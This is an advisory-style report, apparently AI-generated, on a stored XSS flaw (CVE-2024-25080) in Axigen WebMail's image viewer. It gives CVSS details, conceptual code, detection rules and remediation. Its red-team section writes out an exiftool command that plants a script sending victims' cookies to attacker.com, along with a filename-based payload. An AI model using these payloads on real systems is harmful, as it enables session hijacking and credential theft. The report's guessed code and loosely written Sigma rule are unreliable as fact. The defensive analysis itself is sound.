CVE-2024-25080

Executive Summary

CVE-2024-25080 is a stored Cross-Site Scripting (XSS) vulnerability in the WebMail component of Axigen 10.x prior to version 10.3.3.62. The flaw resides in the image attachment viewer, where an attacker can inject malicious scripts via a crafted image file. When a victim views the attachment, the script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor has released a patched version (10.3.3.62) to address this issue.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary email server product (Axigen). Therefore, supply chain security considerations are limited to ensuring the integrity of the Axigen software download and update process.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must view the malicious image attachment.
• Scope (S): Changed – The impact extends beyond the vulnerable component (WebMail) to the user's browser session.
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., inject content).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and phishing attacks makes this a significant risk for organizations using Axigen WebMail.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the image attachment viewer of Axigen WebMail. The application fails to properly sanitize or escape user-supplied input (image metadata or filename) when rendering the attachment in the viewer. An attacker can craft a malicious image file (e.g., a PNG or JPEG) containing embedded JavaScript code in its metadata (e.g., EXIF data, comment fields) or in the filename itself. When a user opens the attachment via the WebMail interface, the malicious script is executed in the context of the user's browser session.

Attack Flow:

1. Crafting the Payload: The attacker creates a seemingly legitimate image file (e.g., invoice.png) but embeds a JavaScript payload in the image's metadata (e.g., using exiftool to inject <script>alert('XSS')</script> into the Comment field).
2. Delivery: The attacker sends an email to the victim with the malicious image as an attachment.
3. Triggering: The victim opens the email and clicks on the image attachment to view it in the WebMail viewer.
4. Execution: The WebMail viewer renders the image and processes the metadata, executing the injected JavaScript.
5. Impact: The script can steal session cookies, redirect the user to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the image processing module of Axigen WebMail. The exact code is proprietary, but the fix involves proper input validation and output encoding.

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses image metadata without sanitization
function displayImageAttachment(attachment) {
    var img = document.createElement('img');
    img.src = attachment.url;
    img.alt = attachment.metadata.comment; // Unsanitized
    document.getElementById('viewer').appendChild(img);
}

Patched Code (Conceptual):

// Patched: Sanitizes metadata before rendering
function displayImageAttachment(attachment) {
    var img = document.createElement('img');
    img.src = attachment.url;
    img.alt = sanitizeHTML(attachment.metadata.comment); // Sanitized
    document.getElementById('viewer').appendChild(img);
}

function sanitizeHTML(input) {
    var div = document.createElement('div');
    div.textContent = input;
    return div.innerHTML;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Axigen 10.x (before 10.3.3.62) with WebMail enabled.
• Ability to send emails to a victim user.

Steps:

1. Craft the Malicious Image:

   # Use exiftool to inject XSS payload into image metadata
   exiftool -Comment='<script>document.location="http://attacker.com/steal.php?cookie="+document.cookie</script>' original.png malicious.png
   

2. Send the Email:
   • Compose an email with malicious.png as an attachment.
   • Send it to the victim's Axigen email address.
3. Trigger the Payload:
   • The victim opens the email and clicks on the image attachment.
   • The script executes, sending the victim's session cookie to the attacker's server.

Alternative Payload (Filename-based):

• Rename the image to image<script>alert(1)</script>.png and attach it. If the viewer uses the filename without sanitization, the script will execute.

Blue Team (Detection & Prevention)

Detection:

• Monitor email traffic for attachments with suspicious metadata or filenames containing HTML/JavaScript.
• Use web application firewalls (WAF) to inspect HTTP requests for XSS patterns.
• Deploy endpoint detection and response (EDR) solutions to detect anomalous browser behavior.

Prevention:

• Apply the vendor patch immediately (upgrade to 10.3.3.62).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Disable the image attachment viewer if not required.
• Educate users to avoid opening attachments from untrusted sources.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal.php?cookie=...).
  • Emails with attachments containing <script> tags in metadata or filenames.
• File IOCs:
  • Image files with suspicious EXIF data (e.g., Comment field containing JavaScript).
  • Image files with filenames containing HTML tags (e.g., image<script>alert(1)</script>.png).
• System IOCs:
  • Unexpected JavaScript execution in the context of the Axigen WebMail domain.
  • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2024_25080_XSS_Image_Metadata {
    meta:
        description = "Detects image files with XSS payloads in metadata"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25080"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $exif_comment = "Comment"
    condition:
        $xss_payload and $exif_comment
}

Sigma Rule

title: CVE-2024-25080 - XSS via Image Attachment in Axigen WebMail
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects emails with image attachments containing XSS payloads in metadata or filenames
author: Valters IT
date: 2024-01-01
logsource:
    product: email
    service: smtp
detection:
    selection:
        attachment_extension: "png" or "jpg" or "jpeg" or "gif"
        attachment_metadata|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in image metadata (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25080 - XSS via Image Attachment in Axigen WebMail"; flow:to_server,established; content:"GET"; http_method; content:"/steal.php"; http_uri; content:"cookie="; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Axigen to version 10.3.3.62 or later. This is the only definitive fix.
2. Workaround: If patching is not immediately possible, disable the image attachment viewer in WebMail configuration.
3. WAF Rules: Deploy WAF rules to block requests containing <script> in image metadata or filenames.

Long-term Measures:

• Implement a Content Security Policy (CSP) that restricts script execution to trusted sources.
• Conduct regular security audits of the WebMail application.
• Train users to recognize and report suspicious emails.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.